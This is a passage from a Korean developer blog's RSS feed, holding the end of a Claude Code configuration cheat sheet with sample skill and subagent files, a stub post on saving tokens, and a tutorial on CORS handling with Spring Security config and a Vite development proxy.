&lt;li&gt;조직 : &lt;code&gt;/etc/claude-code/Managed&lt;/code&gt; 조직 관리 설정&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;규칙 및 임포트&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;.claude/rules/*.md&lt;/code&gt; : 프로젝트 규칙 파일&lt;/li&gt;
&lt;li&gt;&lt;code&gt;~/.claude/rules/*.md&lt;/code&gt; : 개인 규칙 파일&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;자동 메모리&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;~/.claude/projects/&amp;lt;project&amp;gt;/memory/&lt;/code&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;MEMORY.md&lt;/code&gt; : 기본 프로젝트 메모리&lt;/li&gt;
&lt;li&gt;&lt;code&gt;*.md&lt;/code&gt; : 주제별 메모리 파일 : 기능별 저장&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;설정 파일&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;~/.claude/settings.json&lt;/code&gt; : 전역(글로벌) 설정&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.claude/settings.json&lt;/code&gt; : 프로젝트 설정&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.claude/settings.local.json&lt;/code&gt; : 로컬 설정&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;상태 및 인증&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;~/.claude.json&lt;/code&gt; : 상태 파일&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.mcp.json&lt;/code&gt; : 프로젝트 MCP 서버 설정
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;핵심 설정 항목
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;modelOverrides&lt;/code&gt; : 프로젝트별 모델 오버라이드&lt;/li&gt;
&lt;li&gt;&lt;code&gt;autoMemoryDirectory&lt;/code&gt; : 자동 메모리 저장 위치&lt;/li&gt;
&lt;li&gt;&lt;code&gt;worktree.sparsePaths&lt;/code&gt; : 부분 체크아웃 경로&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;환경 변수
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;ANTHROPIC_API_KEY&lt;/code&gt; : API 인증 키&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ANTHROPIC_MODEL&lt;/code&gt; : 사용할 Claude 모델 지정&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CLAUDE_CODE_EFFORT_LEVEL&lt;/code&gt; : 추론 노력 수준 설정&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MAX_THINKING_TOKENS&lt;/code&gt; : 최대 사고 토큰 수 제한&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ANTHROPIC_CUSTOM_MODEL_OPTION&lt;/code&gt; : 커스텀 모델 옵션&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CLAUDE_CODE_PLUGIN_SEED_DIR&lt;/code&gt; : 플러그인 시드 디렉토리&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CLAUDE_CODE_MAX_OUTPUT_TOKENS&lt;/code&gt; : 최대 출력 토큰 수 제한&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CLAUDE_CODE_DISABLE_CRON&lt;/code&gt; : 크론 작업 비활성화&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;커스텀 스킬&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;.claude/skills/&amp;lt;skill-name&amp;gt;.md/&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 프로젝트 스킬&lt;/li&gt;
&lt;li&gt;~/.claude/skills/&amp;lt;skill-name&amp;gt;.md/&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 개인 스킬
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;스킬 마크다운 프론트매터
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;description&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 스킬 설명&lt;/li&gt;
&lt;li&gt;allowed-tools&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 사용 가능한 도구 목록&lt;/li&gt;
&lt;li&gt;model&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 사용할 모델&lt;/li&gt;
&lt;li&gt;effort&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 추론 깊이&lt;/li&gt;
&lt;li&gt;context&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 컨텍스트 설정&lt;/li&gt;
&lt;li&gt;$ARGUMENTS&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 사용자 입력 전달&lt;/li&gt;
&lt;li&gt;${CLAUDE_SKILL_DIR}&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 스킬 디렉토리 경로&lt;/li&gt;
&lt;li&gt;!cmd&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 쉘 명령 실행&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 커스텀 스킬 마크다운은 아래와 같은 형태로 작성됨.&lt;/p&gt;
&lt;pre id=&quot;code_1774589111751&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;---
description: 스테이징된 변경사항을 분석해서 Conventional Commits 형식의 커밋 메시지를 자동으로 생성합니다.
allowed-tools: bash
model: claude-haiku-4-5
effort: low
---

# Git 커밋 메시지 생성기

## 사전 실행
!git diff --staged

## 역할
너는 Git 커밋 메시지 작성 전문가야.
위에서 실행된 `git diff --staged` 결과를 분석해서
Conventional Commits 규칙에 맞는 커밋 메시지를 작성해줘.

## 커밋 메시지 형식
```&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;서브에이전트&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: none;&quot;&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;.claude/agentss/&amp;lt;agent-name&amp;gt;.md/&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 프로젝트 서브에이전트&lt;/li&gt;
&lt;li&gt;~/.claude/agents/&amp;lt;agent-name&amp;gt;.md/&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 개인 서브에이전트
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서브에이전트 마크다운 프론트매터&lt;br /&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;permissionMode&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 권한 모드&lt;/li&gt;
&lt;li&gt;isolation&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 실행 격리&lt;/li&gt;
&lt;li&gt;memory&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 메모리 사용 여부&lt;/li&gt;
&lt;li&gt;background&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 백그라운드 실행&lt;/li&gt;
&lt;li&gt;maxTurns&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 최대 대화 턴&lt;/li&gt;
&lt;li&gt;SendMessage&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 메시지 전송 기능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 서브에이전트 마크다운은 아래와 같이 작성되어야 함.&lt;/p&gt;
&lt;pre id=&quot;code_1774589063216&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;---
name: code-reviewer
description: 코드 리뷰 전문 에이전트. PR 분석 및 개선점 제안.
allowed-tools: read, bash
model: claude-haiku-4-5
---

# 코드 리뷰어
너는 시니어 개발자야. 코드의 가독성, 성능, 보안을 중심으로 리뷰해줘.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;656&quot; data-origin-height=&quot;297&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ymJlo/dJMcadVGXHI/KNl2N1YcASnVkkBvkKjF71/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ymJlo/dJMcadVGXHI/KNl2N1YcASnVkkBvkKjF71/img.png&quot; data-alt=&quot;You are all set up.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ymJlo/dJMcadVGXHI/KNl2N1YcASnVkkBvkKjF71/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FymJlo%2FdJMcadVGXHI%2FKNl2N1YcASnVkkBvkKjF71%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;226&quot; data-origin-width=&quot;656&quot; data-origin-height=&quot;297&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;You are all set up.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>DEV/ETC</category>
      <category>claude code</category>
      <category>서브에이전트</category>
      <category>스킬</category>
      <category>치트 시트</category>
      <author>BI3A</author>
      <guid isPermaLink="true">https://doinitright.tistory.com/312</guid>
      <comments>https://doinitright.tistory.com/312#entry312comment</comments>
      <pubDate>Fri, 27 Mar 2026 12:17:27 +0900</pubDate>
    </item>
    <item>
      <title>CLAUDE 토큰을 아끼는법, CLAUDE.md 작성 (작성중)</title>
      <link>https://doinitright.tistory.com/311</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1433&quot; data-origin-height=&quot;503&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uPvdI/dJMcabKmEke/1XCLpKBFGddUv2aSnTEMrK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uPvdI/dJMcabKmEke/1XCLpKBFGddUv2aSnTEMrK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uPvdI/dJMcabKmEke/1XCLpKBFGddUv2aSnTEMrK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuPvdI%2FdJMcabKmEke%2F1XCLpKBFGddUv2aSnTEMrK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1433&quot; height=&quot;503&quot; data-origin-width=&quot;1433&quot; data-origin-height=&quot;503&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;472&quot; data-origin-height=&quot;251&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/beyPiU/dJMb99Z41ro/gOj8PBuYe0sQXOCNR2gmb1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/beyPiU/dJMb99Z41ro/gOj8PBuYe0sQXOCNR2gmb1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/beyPiU/dJMb99Z41ro/gOj8PBuYe0sQXOCNR2gmb1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbeyPiU%2FdJMb99Z41ro%2FgOj8PBuYe0sQXOCNR2gmb1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;472&quot; height=&quot;251&quot; data-origin-width=&quot;472&quot; data-origin-height=&quot;251&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1535&quot; data-origin-height=&quot;290&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pSb1j/dJMcafFYn3L/Yk8zFRq5wokSKMHIgKyYQ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pSb1j/dJMcafFYn3L/Yk8zFRq5wokSKMHIgKyYQ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pSb1j/dJMcafFYn3L/Yk8zFRq5wokSKMHIgKyYQ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpSb1j%2FdJMcafFYn3L%2FYk8zFRq5wokSKMHIgKyYQ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1535&quot; height=&quot;290&quot; data-origin-width=&quot;1535&quot; data-origin-height=&quot;290&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/clear&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>DEV/ETC</category>
      <author>BI3A</author>
      <guid isPermaLink="true">https://doinitright.tistory.com/311</guid>
      <comments>https://doinitright.tistory.com/311#entry311comment</comments>
      <pubDate>Tue, 24 Mar 2026 07:25:49 +0900</pubDate>
    </item>
    <item>
      <title>CORS와 프록시 &amp;mdash; CorsConfig / SecurityConfig / Proxy (작성중)</title>
      <link>https://doinitright.tistory.com/310</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;916&quot; data-origin-height=&quot;500&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/s74X4/dJMcaaLt2zQ/nmT6aBYBvINQ6FFQlrEhc0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/s74X4/dJMcaaLt2zQ/nmT6aBYBvINQ6FFQlrEhc0/img.png&quot; data-alt=&quot;Spring &amp;amp;amp; Spring Boot&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/s74X4/dJMcaaLt2zQ/nmT6aBYBvINQ6FFQlrEhc0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fs74X4%2FdJMcaaLt2zQ%2FnmT6aBYBvINQ6FFQlrEhc0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;328&quot; data-origin-width=&quot;916&quot; data-origin-height=&quot;500&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Spring &amp;amp; Spring Boot&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;CORS란&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저는 &lt;b&gt;출처(Origin)&lt;/b&gt; 가 다른 서버로의 요청을 기본적으로 차단한다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Origin = 프로토콜 + 도메인 + 포트&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;http://localhost:5173&lt;/code&gt; &amp;ne; &lt;code&gt;http://localhost:8080&lt;/code&gt; &amp;rarr; 다른 Origin&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프론트(5173)에서 백엔드(8080)로 요청하면 브라우저가 이를 감지하고, 실제 요청 전에 &lt;b&gt;preflight 요청(OPTIONS 메서드)&lt;/b&gt; 을 먼저 보내 서버가 허용하는지 물어본다.&lt;/p&gt;
&lt;pre class=&quot;groovy&quot;&gt;&lt;code&gt;브라우저 &amp;rarr; OPTIONS /api/projects (preflight)
백엔드   &amp;rarr; 200 OK + Access-Control-Allow-Origin: http://localhost:5173
브라우저 &amp;rarr; 허용 확인 후 실제 GET /api/projects 전송&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버가 허용 응답을 주지 않으면 브라우저가 실제 요청 자체를 차단한다.&lt;br /&gt;&lt;b&gt;차단은 서버가 하는 게 아니라 브라우저가 한다.&lt;/b&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;CorsConfig &amp;mdash; &quot;무엇을 허용할 것인가&quot; 정의&lt;/h2&gt;
&lt;pre class=&quot;accesslog&quot;&gt;&lt;code&gt;@Configuration
public class CorsConfig {

    @Value(&quot;${cadence.cors.allowed-origins}&quot;)
    private String[] allowedOrigins;

    @Bean
    public CorsConfigurationSource corsConfigurationSource() {
        CorsConfiguration config = new CorsConfiguration();
        config.setAllowedOriginPatterns(List.of(allowedOrigins)); // 허용 출처
        config.setAllowedMethods(List.of(&quot;GET&quot;, &quot;POST&quot;, &quot;PUT&quot;, &quot;PATCH&quot;, &quot;DELETE&quot;, &quot;OPTIONS&quot;));
        config.setAllowedHeaders(List.of(&quot;*&quot;));
        config.setAllowCredentials(true); // Authorization 헤더 허용
        ...
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;역할:&lt;/b&gt; CORS 규칙 자체를 정의하는 곳.&lt;br /&gt;허용할 출처, 메서드, 헤더를 명시하고 &lt;code&gt;CorsConfigurationSource&lt;/code&gt; 빈으로 등록한다.&lt;br /&gt;Spring MVC 레벨(Controller에 도달하기 직전)에서 작동한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;code&gt;setAllowedOrigins&lt;/code&gt; vs &lt;code&gt;setAllowedOriginPatterns&lt;/code&gt;&lt;/b&gt;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;메서드&lt;/th&gt;
&lt;th&gt;특징&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;setAllowedOrigins&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;정확한 문자열 일치. &lt;code&gt;*&lt;/code&gt;와 &lt;code&gt;setAllowCredentials(true)&lt;/code&gt; 동시 사용 불가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;setAllowedOriginPatterns&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;와일드카드 패턴 허용. &lt;code&gt;setAllowCredentials(true)&lt;/code&gt;와 함께 사용 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;SecurityConfig &amp;mdash; &quot;누가 이 규칙을 쓸 것인가&quot; 연결&lt;/h2&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;.cors(cors -&amp;gt; cors.configurationSource(corsConfigurationSource))&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;역할:&lt;/b&gt; CorsConfig가 정의한 규칙을 Spring Security 필터 체인에 연결한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Spring Security 필터는 Spring MVC보다 &lt;b&gt;먼저&lt;/b&gt; 실행된다.&lt;br /&gt;SecurityConfig에 CORS를 연결하지 않으면 preflight(OPTIONS) 요청이 Security 필터에서 먼저 막혀버린다.&lt;/p&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;HTTP 요청
  &amp;rarr; [Spring Security 필터]  &amp;larr; SecurityConfig가 corsConfigurationSource 참조
      &amp;rarr; [Spring MVC]         &amp;larr; CorsConfig 빈이 작동하는 레이어
          &amp;rarr; Controller&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;두 파일의 관계 요약&lt;/b&gt;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&amp;nbsp;&lt;/th&gt;
&lt;th&gt;CorsConfig&lt;/th&gt;
&lt;th&gt;SecurityConfig&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;역할&lt;/td&gt;
&lt;td&gt;CORS 규칙 정의 (what)&lt;/td&gt;
&lt;td&gt;Security 필터에 규칙 연결 (who uses it)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;설정 위치&lt;/td&gt;
&lt;td&gt;Spring MVC 레벨&lt;/td&gt;
&lt;td&gt;Security 필터 레벨 (더 앞)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;단독 동작&lt;/td&gt;
&lt;td&gt;Security 없이도 작동&lt;/td&gt;
&lt;td&gt;규칙 자체를 정의하지 않음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CorsConfig만 있고 SecurityConfig에 연결 안 하면?&lt;/b&gt;&lt;br /&gt;&amp;rarr; preflight가 Security에서 401/403으로 차단되어 모든 API 호출 실패.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;SecurityConfig에만 인라인으로 정의하면?&lt;/b&gt;&lt;br /&gt;&amp;rarr; 동작은 하지만 허용 출처가 하드코딩되어 환경별 관리가 어렵고, 설정이 두 곳에 분산된다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Vite Server Proxy &amp;mdash; 개발 환경 전용 우회&lt;/h2&gt;
&lt;pre class=&quot;less&quot;&gt;&lt;code&gt;// vite.config.ts
server: {
  proxy: {
    '/api': {
      target: 'http://localhost:8080',
      changeOrigin: true,
    },
  },
},&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;역할:&lt;/b&gt; 로컬 개발 시 CORS를 서버 설정 없이 우회한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저는 같은 5173 서버에 요청한다고 인식하고, Vite 개발서버가 백엔드로 포워딩한다.&lt;/p&gt;
&lt;pre class=&quot;xl&quot;&gt;&lt;code&gt;브라우저(5173) --/api/projects--&amp;gt; Vite 개발서버(5173) ---&amp;gt; 백엔드(8080)
               &amp;uarr; 같은 Origin (CORS 없음)               &amp;uarr; 서버 간 통신 (CORS 없음)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;code&gt;changeOrigin: true&lt;/code&gt;&lt;/b&gt;&lt;br /&gt;포워딩 시 요청의 &lt;code&gt;Host&lt;/code&gt; 헤더를 &lt;code&gt;localhost:8080&lt;/code&gt;으로 바꾼다.&lt;br /&gt;없으면 백엔드가 &lt;code&gt;localhost:5173&lt;/code&gt;으로 된 Host를 받아 거부할 수 있다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;세 가지의 관계 정리&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&amp;nbsp;&lt;/th&gt;
&lt;th&gt;CorsConfig&lt;/th&gt;
&lt;th&gt;SecurityConfig&lt;/th&gt;
&lt;th&gt;Vite Proxy&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;동작 환경&lt;/td&gt;
&lt;td&gt;로컬 + 운영&lt;/td&gt;
&lt;td&gt;로컬 + 운영&lt;/td&gt;
&lt;td&gt;로컬 개발만&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;처리 주체&lt;/td&gt;
&lt;td&gt;Spring 서버&lt;/td&gt;
&lt;td&gt;Spring 서버&lt;/td&gt;
&lt;td&gt;Vite 개발서버&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;목적&lt;/td&gt;
&lt;td&gt;CORS 허용 규칙 정의&lt;/td&gt;
&lt;td&gt;Security 필터에 CORS 연결&lt;/td&gt;
&lt;td&gt;브라우저 CORS 자체를 우회&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;로컬 개발 흐름&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;브라우저 &amp;rarr; Vite proxy &amp;rarr; 백엔드
         (CORS 우회)   (CorsConfig + SecurityConfig은 동작하나 실질적으로 무관)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;운영 배포 흐름&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;브라우저 &amp;rarr; CDN/프론트 서버 &amp;rarr; 백엔드
          (Vite proxy 없음)  (CorsConfig + SecurityConfig이 실제로 작동)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;운영에서는 Vite proxy가 없으므로 &lt;code&gt;CorsConfig&lt;/code&gt;의 &lt;code&gt;allowedOrigins&lt;/code&gt;에 실제 프론트 도메인이 정확히 등록되어 있어야 한다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. CORS 흐름&lt;/h2&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;application-local.properties
